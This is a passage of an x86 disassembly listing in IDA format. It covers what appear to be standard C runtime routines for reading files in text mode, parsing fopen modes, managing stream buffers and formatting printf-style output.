		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F1E4
		call	near ptr 2680F9Dh
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB958, 9
		mov	dword_4DB95C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2680F9Dh
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB44
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB40
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC80
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC78
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC78
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC78
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9D8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9D8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0E8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D108
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D030


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+427734h]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_427754[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9D8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBF4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


